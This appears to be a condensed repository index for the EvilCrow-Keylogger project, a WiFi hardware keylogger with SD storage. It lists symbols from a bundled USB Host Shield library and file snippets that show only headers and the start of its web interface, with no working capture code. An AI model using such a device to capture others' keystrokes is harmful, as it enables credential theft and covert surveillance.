  type TPin (line 386) | typedef TPin<Portl, 5 > Pl5;
  type TPin (line 387) | typedef TPin<Portl, 6 > Pl6;
  type TPin (line 388) | typedef TPin<Portl, 7 > Pl7;
  type TPin (line 392) | typedef TPin<Portq, 0 > Pq0;
  type TPin (line 393) | typedef TPin<Portq, 1 > Pq1;
  type TPin (line 394) | typedef TPin<Portq, 2 > Pq2;
  type TPin (line 395) | typedef TPin<Portq, 3 > Pq3;
  type TPin (line 396) | typedef TPin<Portq, 4 > Pq4;
  type TPin (line 397) | typedef TPin<Portq, 5 > Pq5;
  type TPin (line 398) | typedef TPin<Portq, 6 > Pq6;
  type TPin (line 399) | typedef TPin<Portq, 7 > Pq7;
  type TPin (line 403) | typedef TPin<Portr, 0 > Pr0;
  type TPin (line 404) | typedef TPin<Portr, 1 > Pr1;
  type TPin (line 405) | typedef TPin<Portr, 2 > Pr2;
  type TPin (line 406) | typedef TPin<Portr, 3 > Pr3;
  type TPin (line 407) | typedef TPin<Portr, 4 > Pr4;
  type TPin (line 408) | typedef TPin<Portr, 5 > Pr5;
  type TPin (line 409) | typedef TPin<Portr, 6 > Pr6;
  type TPin (line 410) | typedef TPin<Portr, 7 > Pr7;
  type TCom (line 414) | typedef TCom<Tccr0a, COM0A1> Tc0a;
  type TCom (line 415) | typedef TCom<Tccr0a, COM0B1> Tc0b;
  type TCom (line 419) | typedef TCom<Tccr1a, COM1A1> Tc1a;
  type TCom (line 420) | typedef TCom<Tccr1a, COM1B1> Tc1b;
  type TCom (line 424) | typedef TCom<Tccr2a, COM2A1> Tc2a;
  type TCom (line 425) | typedef TCom<Tccr2a, COM2B1> Tc2b;
  function SetDirRead (line 438) | static void SetDirRead() {
  function SetDirWrite (line 443) | static void SetDirWrite() {

FILE: libraries/USB_Host_Shield_2.0/cdc_XR21B1411.h
  function class (line 103) | class XR21B1411 : public ACM {

FILE: libraries/USB_Host_Shield_2.0/cdcacm.h
  type CALL_MGMNT_FUNC_DESCR (line 86) | typedef struct {
  type ACM_FUNC_DESCR (line 94) | typedef struct {
  type TEL_RINGER_FUNC_DESCR (line 102) | typedef struct {
  type LINE_CODING (line 110) | typedef struct {
  type CLASS_NOTIFICATION (line 117) | typedef struct {
  function class (line 128) | class CDCAsyncOper {
  type tty_features (line 143) | typedef struct {
  function available (line 205) | bool available(void) {
  function virtual (line 209) | virtual uint8_t GetAddress() {
  function virtual (line 213) | virtual bool isReady() {
  function enhanced_status (line 217) | enhanced_status(void) {
  function enhanced_features (line 221) | enhanced_features(void) {
  function virtual (line 232) | virtual void autoflowRTS(bool s __attribute__((unused))) {
  function virtual (line 235) | virtual void autoflowDSR(bool s __attribute__((unused))) {
  function virtual (line 238) | virtual void autoflowXON(bool s __attribute__((unused))) {
  function virtual (line 241) | virtual void half_duplex(bool s __attribute__((unused))) {
  function virtual (line 244) | virtual void wide(bool s __attribute__((unused))) {

FILE: libraries/USB_Host_Shield_2.0/cdcftdi.h
  function class (line 79) | class FTDIAsyncOper {
  function virtual (line 134) | virtual uint8_t GetAddress() {
  function virtual (line 141) | virtual bool VIDPIDOK(uint16_t vid, uint16_t pid) {
  function virtual (line 144) | virtual bool isReady() {

FILE: libraries/USB_Host_Shield_2.0/cdcprolific.cpp
  type pl2303_type (line 34) | enum pl2303_type

FILE: libraries/USB_Host_Shield_2.0/cdcprolific.h
  type tXO_State (line 104) | enum tXO_State {
  type pl2303_type (line 112) | enum pl2303_type {
  function class (line 122) | class PL2303 : public ACM {
  function vendorRead (line 147) | inline uint8_t PL2303::vendorRead( uint8_t val_lo, uint8_t val_hi, uint1...
  function vendorWrite (line 153) | inline uint8_t PL2303::vendorWrite( uint8_t val_lo, uint8_t val_hi, uint...

FILE: libraries/USB_Host_Shield_2.0/confdescparser.h
  function class (line 30) | class UsbConfigXtracter {

FILE: libraries/USB_Host_Shield_2.0/controllerEnums.h
  type LEDEnum (line 31) | enum LEDEnum {
  type ColorsEnum (line 50) | enum ColorsEnum {
  type RumbleEnum (line 72) | enum RumbleEnum {
  type ButtonEnum (line 78) | enum ButtonEnum {
  type AnalogHatEnum (line 157) | enum AnalogHatEnum {
  type SensorEnum (line 172) | enum SensorEnum {
  type AngleEnum (line 205) | enum AngleEnum {

FILE: libraries/USB_Host_Shield_2.0/examples/Bluetooth/BTHID/KeyboardParser.h
  function class (line 4) | class KbdRptParser : public KeyboardReportParser {
  function HandleLockingKeys (line 16) | uint8_t KbdRptParser::HandleLockingKeys(USBHID *hid, uint8_t key) {
  function PrintKey (line 42) | void KbdRptParser::PrintKey(uint8_t m, uint8_t key) {
  function OnKeyDown (line 60) | void KbdRptParser::OnKeyDown(uint8_t mod, uint8_t key) {
  function OnControlKeysChanged (line 69) | void KbdRptParser::OnControlKeysChanged(uint8_t before, uint8_t after) {
  function OnKeyUp (line 95) | void KbdRptParser::OnKeyUp(uint8_t mod, uint8_t key) {
  function OnKeyPressed (line 100) | void KbdRptParser::OnKeyPressed(uint8_t key) {

FILE: libraries/USB_Host_Shield_2.0/examples/Bluetooth/BTHID/MouseParser.h
  function class (line 4) | class MouseRptParser : public MouseReportParser {
  function OnMouseMove (line 15) | void MouseRptParser::OnMouseMove(MOUSEINFO *mi) {
  function OnLeftButtonUp (line 22) | void MouseRptParser::OnLeftButtonUp(MOUSEINFO *mi) {
  function OnLeftButtonDown (line 26) | void MouseRptParser::OnLeftButtonDown(MOUSEINFO *mi) {
  function OnRightButtonUp (line 30) | void MouseRptParser::OnRightButtonUp(MOUSEINFO *mi) {
  function OnRightButtonDown (line 34) | void MouseRptParser::OnRightButtonDown(MOUSEINFO *mi) {
  function OnMiddleButtonUp (line 38) | void MouseRptParser::OnMiddleButtonUp(MOUSEINFO *mi) {
  function OnMiddleButtonDown (line 42) | void MouseRptParser::OnMiddleButtonDown(MOUSEINFO *mi) {

FILE: libraries/USB_Host_Shield_2.0/examples/HID/SRWS1/SRWS1.h
  type DPADEnum (line 26) | enum DPADEnum {
  type SRWS1Data (line 65) | struct SRWS1Data {
  function class (line 75) | class SRWS1 : public HIDUniversal {

FILE: libraries/USB_Host_Shield_2.0/examples/HID/USBHIDJoystick/hidjoystickrptparser.h
  type GamePadEventData (line 6) | struct GamePadEventData {
  function class (line 10) | class JoystickEvents {
  function class (line 20) | class JoystickReportParser : public HIDReportParser {

FILE: libraries/USB_Host_Shield_2.0/examples/HID/le3dp/le3dp_rptparser.h
  type GamePadEventData (line 6) | struct GamePadEventData
  function class (line 22) | class JoystickEvents
  function class (line 30) | class JoystickReportParser : public HIDReportParser

FILE: libraries/USB_Host_Shield_2.0/examples/HID/scale/scale_rptparser.h
  type ScaleEventData (line 18) | struct ScaleEventData
  function class (line 27) | class ScaleEvents
  function class (line 43) | class ScaleReportParser : public HIDReportParser

FILE: libraries/USB_Host_Shield_2.0/hexdump.h
  function Initialize (line 34) | void Initialize() {

FILE: libraries/USB_Host_Shield_2.0/hidboot.h
  type MOUSEINFO (line 39) | struct MOUSEINFO {
  function class (line 51) | class MouseReportParser : public HIDReportParser {
  type MODIFIERKEYS (line 85) | struct MODIFIERKEYS {
  type KBDINFO (line 96) | struct KBDINFO {
  type KBDLEDS (line 112) | struct KBDLEDS {
  function class (line 121) | class KeyboardReportParser : public HIDReportParser {
  function virtual (line 174) | virtual void OnControlKeysChanged(uint8_t before __attribute__((unused))...
  function virtual (line 177) | virtual void OnKeyDown(uint8_t mod __attribute__((unused)), uint8_t key ...
  function virtual (line 180) | virtual void OnKeyUp(uint8_t mod __attribute__((unused)), uint8_t key __...
  function virtual (line 183) | virtual const uint8_t *getNumKeys() {
  function virtual (line 187) | virtual const uint8_t *getSymKeysUp() {
  function virtual (line 191) | virtual const uint8_t *getSymKeysLo() {
  function virtual (line 195) | virtual const uint8_t *getPadKeys() {
  function virtual (line 217) | virtual HIDReportParser* GetReportParser(uint8_t id) {
  function virtual (line 224) | virtual bool SetReportParser(uint8_t id, HIDReportParser *prs) {
  function virtual (line 234) | virtual uint8_t GetAddress() {
  function virtual (line 238) | virtual bool isReady() {
  function virtual (line 246) | virtual bool DEVCLASSOK(uint8_t klass) {
  function virtual (line 250) | virtual bool DEVSUBCLASSOK(uint8_t subklass) {

FILE: libraries/USB_Host_Shield_2.0/hidcomposite.cpp
  function HIDReportParser (line 83) | HIDReportParser* HIDComposite::GetReportParser(uint8_t id) {

FILE: libraries/USB_Host_Shield_2.0/hidcomposite.h
  function class (line 24) | class HIDComposite : public USBHID {

FILE: libraries/USB_Host_Shield_2.0/hidescriptorparser.cpp
  function else (line 1263) | else

FILE: libraries/USB_Host_Shield_2.0/hidescriptorparser.h
  function class (line 22) | class ReportDescParserBase : public USBReadParser {
  function class (line 145) | class ReportDescParser : public ReportDescParserBase {
  function class (line 148) | class ReportDescParser2 : public ReportDescParserBase {
  function class (line 170) | class UniversalReportParser : public HIDReportParser {

FILE: libraries/USB_Host_Shield_2.0/hiduniversal.cpp
  function HIDReportParser (line 85) | HIDReportParser* HIDUniversal::GetReportParser(uint8_t id) {

FILE: libraries/USB_Host_Shield_2.0/hiduniversal.h
  function class (line 24) | class HIDUniversal : public USBHID {

FILE: libraries/USB_Host_Shield_2.0/masstorage.h
  type Capacity (line 186) | struct Capacity {
  type BASICCDB (line 192) | struct BASICCDB {
  type BASICCDB (line 201) | typedef BASICCDB BASICCDB_t;
  type CDB6 (line 203) | struct CDB6 {
  type CommandStatusWrapper (line 443) | struct CommandStatusWrapper {
  type RequestSenseResponce (line 450) | struct RequestSenseResponce {
  function virtual (line 499) | virtual uint8_t OnInit() {
  function GetLastUsbError (line 505) | uint8_t GetLastUsbError() {
  function GetbMaxLUN (line 509) | uint8_t GetbMaxLUN() {
  function GetbTheLUN (line 513) | uint8_t GetbTheLUN() {
  function virtual (line 535) | virtual uint8_t GetAddress() {
  function virtual (line 542) | virtual bool DEVCLASSOK(uint8_t klass) {

FILE: libraries/USB_Host_Shield_2.0/max_LCD.h
  function class (line 65) | class Max_LCD : public Print {

FILE: libraries/USB_Host_Shield_2.0/message.cpp
  function E_Notifyc (line 31) | void E_Notifyc(char c, int lvl) {
  function E_Notify (line 41) | void E_Notify(char const * msg, int lvl) {
  function E_NotifyStr (line 49) | void E_NotifyStr(char const * msg, int lvl) {
  function E_Notify (line 57) | void E_Notify(uint8_t b, int lvl) {
  function E_Notify (line 67) | void E_Notify(double d, int lvl) {
  function NotifyFailGetDevDescr (line 75) | void NotifyFailGetDevDescr(void) {
  function NotifyFailSetDevTblEntry (line 79) | void NotifyFailSetDevTblEntry(void) {
  function NotifyFailGetConfDescr (line 83) | void NotifyFailGetConfDescr(void) {
  function NotifyFailSetConfDescr (line 87) | void NotifyFailSetConfDescr(void) {
  function NotifyFailGetDevDescr (line 91) | void NotifyFailGetDevDescr(uint8_t reason) {
  function NotifyFailSetDevTblEntry (line 96) | void NotifyFailSetDevTblEntry(uint8_t reason) {
  function NotifyFailGetConfDescr (line 102) | void NotifyFailGetConfDescr(uint8_t reason) {
  function NotifyFailSetConfDescr (line 107) | void NotifyFailSetConfDescr(uint8_t reason) {
  function NotifyFailUnknownDevice (line 112) | void NotifyFailUnknownDevice(uint16_t VID, uint16_t PID) {
  function NotifyFail (line 119) | void NotifyFail(uint8_t rcode) {

FILE: libraries/USB_Host_Shield_2.0/parsetools.h
  type MultiValueBuffer (line 30) | struct MultiValueBuffer {
  function class (line 35) | class MultiByteValueParser {
  function class (line 57) | class ByteSkipper {
  function class (line 90) | class PTPListParser {

FILE: libraries/USB_Host_Shield_2.0/sink_parser.h
  function Initialize (line 33) | void Initialize() {
  function Parse (line 36) | void Parse(const LEN_TYPE len, const uint8_t *pbuf, const OFFSET_TYPE &o...

FILE: libraries/USB_Host_Shield_2.0/usb_ch9.h
  type USB_DEVICE_DESCRIPTOR (line 105) | typedef struct {
  type USB_CONFIGURATION_DESCRIPTOR (line 123) | typedef struct {
  type USB_INTERFACE_DESCRIPTOR (line 135) | typedef struct {
  type USB_ENDPOINT_DESCRIPTOR (line 148) | typedef struct {
  type USB_HID_DESCRIPTOR (line 158) | typedef struct {
  type HID_CLASS_DESCRIPTOR_LEN_AND_TYPE (line 168) | typedef struct {

FILE: libraries/USB_Host_Shield_2.0/usbh_midi.h
  function class (line 39) | class USBH_MIDI : public USBDeviceConfig

FILE: libraries/USB_Host_Shield_2.0/usbhid.h
  type HidItemPrefix (line 119) | struct HidItemPrefix {
  type MainItemIOFeature (line 125) | struct MainItemIOFeature {
  function class (line 138) | class HIDReportParser {
  function virtual (line 159) | virtual HIDReportParser* GetReportParser(uint8_t id __attribute__((unuse...
  function USB (line 168) | const USB* GetUsb() {
  function virtual (line 172) | virtual bool SetReportParser(uint8_t id __attribute__((unused)), HIDRepo...

FILE: libraries/USB_Host_Shield_2.0/usbhost.h
  function init (line 41) | static void init() {
  function init (line 50) | static void init() {
  function init (line 57) | static void init() {
  function init (line 61) | static void init() {
  function init (line 78) | static void init() {
  type SPi (line 105) | typedef SPi< MAKE_PIN(PIN_SPI_SCK), MAKE_PIN(PIN_SPI_MOSI), MAKE_PIN(PIN...
  type SPi (line 108) | typedef SPi< Pb1, Pb2, Pb3, Pb0 > spi;
  type SPi (line 110) | typedef SPi< Pb5, Pb3, Pb4, Pb2 > spi;
  type SPi (line 112) | typedef SPi< Pb7, Pb5, Pb6, Pb4 > spi;
  type SPi (line 114) | typedef SPi< P13, P11, P12, P10 > spi;
  type SPi (line 116) | typedef SPi< P76, P75, P74, P10 > spi;
  type SPi (line 118) | typedef SPi< P16, P18, P17, P10 > spi;
  type SPi (line 120) | typedef SPi< P14, P13, P12, P15 > spi;
  type SPi (line 122) | typedef SPi< P18, P23, P19, P5 > spi;
  type VBUS_t (line 127) | typedef enum {
  function vbusPower (line 147) | void vbusPower(VBUS_t state) {
  function getVbusState (line 151) | uint8_t getVbusState(void) {

FILE: libraries/USB_Host_Shield_2.0/usbhub.cpp
  function PrintHubPortStatus (line 378) | void PrintHubPortStatus(USBHub *hubptr, uint8_t addr __attribute__((unus...

FILE: libraries/USB_Host_Shield_2.0/usbhub.h
  type HubDescriptor (line 133) | struct HubDescriptor {
  type HubEvent (line 151) | struct HubEvent {
  function class (line 164) | class USBHub : USBDeviceConfig {
  function ClearHubFeature (line 211) | inline uint8_t USBHub::ClearHubFeature(uint8_t fid) {
  function ClearPortFeature (line 216) | inline uint8_t USBHub::ClearPortFeature(uint8_t fid, uint8_t port, uint8...
  function GetHubDescriptor (line 221) | inline uint8_t USBHub::GetHubDescriptor(uint8_t index, uint16_t nbytes, ...
  function GetHubStatus (line 226) | inline uint8_t USBHub::GetHubStatus(uint16_t nbytes, uint8_t* dataptr) {
  function GetPortStatus (line 231) | inline uint8_t USBHub::GetPortStatus(uint8_t port, uint16_t nbytes, uint...
  function SetHubDescriptor (line 236) | inline uint8_t USBHub::SetHubDescriptor(uint8_t port, uint16_t nbytes, u...
  function SetHubFeature (line 241) | inline uint8_t USBHub::SetHubFeature(uint8_t fid) {
  function SetPortFeature (line 246) | inline uint8_t USBHub::SetPortFeature(uint8_t fid, uint8_t port, uint8_t...

FILE: libraries/USB_Host_Shield_2.0/xboxEnums.h
  type LEDModeEnum (line 24) | enum LEDModeEnum {
Condensed preview — 180 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (1,631K chars).
[
  {
    "path": "README.md",
    "chars": 10790,
    "preview": "# EvilCrow-Keylogger\nWiFi keylogger with Micro SD slot, based on the Atmega32U4 microcontroller and the ESP32-PICO modul"
  },
  {
    "path": "code/ATMEGA32U4/ATMEGA32U4.ino",
    "chars": 6386,
    "preview": "#include <Keyboard.h>\n#include <hidboot.h>\n#include <usbhub.h>\n#include <SD.h>\n#include <SPI.h>\n\n#define MODIFIERKEY_LEF"
  },
  {
    "path": "code/ESP32/ESP32.ino",
    "chars": 6047,
    "preview": "#include <WiFi.h>\n#include <WiFiClient.h>\n#include <WiFiAP.h>\n#include <WebServer.h>\n#include <ESPmDNS.h>\n#include \"SPIF"
  },
  {
    "path": "code/ESP32/config.h",
    "chars": 5752,
    "preview": "const char Config[] PROGMEM = R\"=====(\n<!DOCTYPE HTML>\n<html>\n<head>\n  <title>EvilCrow-Keylogger</title>\n  <meta charset"
  },
  {
    "path": "code/ESP32/index.h",
    "chars": 2852,
    "preview": "const char Index[] PROGMEM = R\"=====(\n<!DOCTYPE HTML>\n<html>\n<head>\n    <title>EvilCrow-Keylogger</title>\n    <meta char"
  },
  {
    "path": "code/ESP32/javascript.h",
    "chars": 7267,
    "preview": "const char Javascript[] PROGMEM = R\"=====(\n// Track navigation state and abort controller globally\nlet isNavigating = fa"
  },
  {
    "path": "code/ESP32/style.h",
    "chars": 27414,
    "preview": "const char Style[] PROGMEM = R\"=====(\n:root {\n  --primary: #00f2ff;\n  --secondary: #00ff88;\n  --accent: #ff00aa;\n  --dar"
  },
  {
    "path": "code/ESP32/viewlog.h",
    "chars": 6939,
    "preview": "const char ViewLog[] PROGMEM = R\"=====(\n<!DOCTYPE HTML>\n<html>\n<head>\n    <title>EvilCrow-Keylogger</title>\n    <meta ch"
  },
  {
    "path": "libraries/Keyboard/Readme.md",
    "chars": 1515,
    "preview": "Arduino Keyboard library with multiple layout support\r\n=====================================================\r\n \r\nBased o"
  },
  {
    "path": "libraries/Keyboard/keywords.txt",
    "chars": 542,
    "preview": "#######################################\n# Syntax Coloring Map For Keyboard\n#######################################\n\n####"
  },
  {
    "path": "libraries/Keyboard/library.properties",
    "chars": 428,
    "preview": "name=Keyboard\nversion=1.0.1\nauthor=Arduino\nmaintainer=Ernesto Sanchez\nsentence=Allows an Arduino/Genuino board with USB "
  },
  {
    "path": "libraries/Keyboard/src/Keyboard.cpp",
    "chars": 14572,
    "preview": "/*\n  Keyboard.cpp\n\n  Copyright (c) 2015, Arduino LLC\n  Original code (pre-library): Copyright (c) 2011, Peter Barrett\n\n "
  },
  {
    "path": "libraries/Keyboard/src/Keyboard.h",
    "chars": 3427,
    "preview": "/*\n  Keyboard.h\n\n  Copyright (c) 2015, Arduino LLC\n  Original code (pre-library): Copyright (c) 2011, Peter Barrett\n\n  T"
  },
  {
    "path": "libraries/Keyboard/src/be_be.h",
    "chars": 3291,
    "preview": "#ifndef _kbd_lang\n#define _kbd_lang\n\nextern\nconst uint8_t _asciimap[256] PROGMEM;\n\n#define SHIFT 0x80\nconst uint8_t _asc"
  },
  {
    "path": "libraries/Keyboard/src/cz_cz.h",
    "chars": 3037,
    "preview": "#ifndef _kbd_lang\n#define _kbd_lang\n\nextern\nconst uint8_t _asciimap[256] PROGMEM;\n\n#define SHIFT 0x80\nconst uint8_t _asc"
  },
  {
    "path": "libraries/Keyboard/src/da_dk.h",
    "chars": 3175,
    "preview": "#ifndef _kbd_lang\n#define _kbd_lang\n\nextern\nconst uint8_t _asciimap[256] PROGMEM;\n\n#define SHIFT 0x80\nconst uint8_t _asc"
  },
  {
    "path": "libraries/Keyboard/src/de_de.h",
    "chars": 3396,
    "preview": "#ifndef _kbd_lang\n#define _kbd_lang\n\nextern\nconst uint8_t _asciimap[256] PROGMEM;\n\n#define SHIFT 0x80\nconst uint8_t _asc"
  },
  {
    "path": "libraries/Keyboard/src/en_us.h",
    "chars": 3177,
    "preview": "#ifndef _kbd_lang\n#define _kbd_lang\n\nextern\nconst uint8_t _asciimap[256] PROGMEM;\n\n#define SHIFT 0x80\nconst uint8_t _asc"
  },
  {
    "path": "libraries/Keyboard/src/es_es.h",
    "chars": 4401,
    "preview": "#ifndef _kbd_lang\n#define _kbd_lang\n\nextern\nconst uint8_t _asciimap[256] PROGMEM;\n\n\n#define SHIFT 0x80\n#define ALTGR 0x4"
  },
  {
    "path": "libraries/Keyboard/src/fi_fi.h",
    "chars": 3188,
    "preview": "#ifndef _kbd_lang\n#define _kbd_lang\n\nextern\nconst uint8_t _asciimap[256] PROGMEM;\n\n#define SHIFT 0x80\nconst uint8_t _asc"
  },
  {
    "path": "libraries/Keyboard/src/fr_fr.h",
    "chars": 3280,
    "preview": "#ifndef _kbd_lang\n#define _kbd_lang\n\nextern\nconst uint8_t _asciimap[256] PROGMEM;\n\n#define SHIFT 0x80\nconst uint8_t _asc"
  },
  {
    "path": "libraries/Keyboard/src/it_it.h",
    "chars": 3176,
    "preview": "#ifndef _kbd_lang\n#define _kbd_lang\n\nextern\nconst uint8_t _asciimap[256] PROGMEM;\n\n#define SHIFT 0x80\nconst uint8_t _asc"
  },
  {
    "path": "libraries/Keyboard/src/pt_pt.h",
    "chars": 3170,
    "preview": "#ifndef _kbd_lang\n#define _kbd_lang\n\nextern\nconst uint8_t _asciimap[256] PROGMEM;\n\n#define SHIFT 0x80\nconst uint8_t _asc"
  },
  {
    "path": "libraries/Keyboard/src/tr_tr.h",
    "chars": 3182,
    "preview": "#ifndef _kbd_lang\n#define _kbd_lang\n\nextern\nconst uint8_t _asciimap[256] PROGMEM;\n\n#define SHIFT 0x80\nconst uint8_t _asc"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/.gitattributes",
    "chars": 497,
    "preview": "# Auto detect text files and perform LF normalization\n* text=auto\n* text eol=lf\n\n# Custom for Visual Studio\n*.cs     dif"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/.gitignore",
    "chars": 24,
    "preview": "*.bak\n*.zip\n*.rar\nbuild/"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/.gitmodules",
    "chars": 571,
    "preview": "[submodule \"examples/testusbhostFAT/generic_storage\"]\n\tpath = examples/testusbhostFAT/generic_storage\n\turl = https://git"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/.travis.yml",
    "chars": 3487,
    "preview": "language: python\npython:\n    - \"2.7\"\n\n# Cache PlatformIO packages using Travis CI container-based infrastructure\nsudo: f"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/BTD.cpp",
    "chars": 62202,
    "preview": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/BTD.h",
    "chars": 25536,
    "preview": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/BTHID.cpp",
    "chars": 22603,
    "preview": "/* Copyright (C) 2013 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/BTHID.h",
    "chars": 5438,
    "preview": "/* Copyright (C) 2013 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/PS3BT.cpp",
    "chars": 32399,
    "preview": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/PS3BT.h",
    "chars": 9712,
    "preview": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/PS3Enums.h",
    "chars": 4246,
    "preview": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/PS3USB.cpp",
    "chars": 22948,
    "preview": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/PS3USB.h",
    "chars": 11651,
    "preview": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/PS4BT.h",
    "chars": 4417,
    "preview": "/* Copyright (C) 2014 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/PS4Parser.cpp",
    "chars": 6151,
    "preview": "/* Copyright (C) 2014 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/PS4Parser.h",
    "chars": 14256,
    "preview": "/* Copyright (C) 2014 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/PS4USB.h",
    "chars": 4915,
    "preview": "/* Copyright (C) 2014 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/PSBuzz.cpp",
    "chars": 3652,
    "preview": "/* Copyright (C) 2014 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/PSBuzz.h",
    "chars": 6843,
    "preview": "/* Copyright (C) 2014 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/README.md",
    "chars": 20303,
    "preview": "# USB Host Library Rev.2.0\n\nThe code is released under the GNU General Public License.\n__________\n[![Build Status](https"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/SPP.cpp",
    "chars": 47409,
    "preview": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/SPP.h",
    "chars": 8473,
    "preview": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/Usb.cpp",
    "chars": 35368,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute i"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/Usb.h",
    "chars": 1459,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute i"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/UsbCore.h",
    "chars": 13671,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute i"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/Wii.cpp",
    "chars": 73759,
    "preview": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/Wii.h",
    "chars": 17918,
    "preview": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/WiiCameraReadme.md",
    "chars": 913,
    "preview": "Please see <http://wiibrew.org/wiki/Wiimote#IR_Camera> for the complete capabilities of the Wii camera. The IR camera co"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/XBOXOLD.cpp",
    "chars": 12016,
    "preview": "/* Copyright (C) 2013 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/XBOXOLD.h",
    "chars": 6729,
    "preview": "/* Copyright (C) 2013 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/XBOXONE.cpp",
    "chars": 17687,
    "preview": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n   Copyright (C) 2015 guruthree\n\n This sof"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/XBOXONE.h",
    "chars": 9447,
    "preview": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n   Copyright (C) 2015 guruthree\n\n This sof"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/XBOXRECV.cpp",
    "chars": 23171,
    "preview": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/XBOXRECV.h",
    "chars": 11050,
    "preview": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/XBOXUSB.cpp",
    "chars": 13099,
    "preview": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/XBOXUSB.h",
    "chars": 8567,
    "preview": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/address.h",
    "chars": 10579,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute i"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/adk.cpp",
    "chars": 12820,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under t"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/adk.h",
    "chars": 4544,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under t"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/avrpins.h",
    "chars": 39149,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute i"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/cdc_XR21B1411.cpp",
    "chars": 5872,
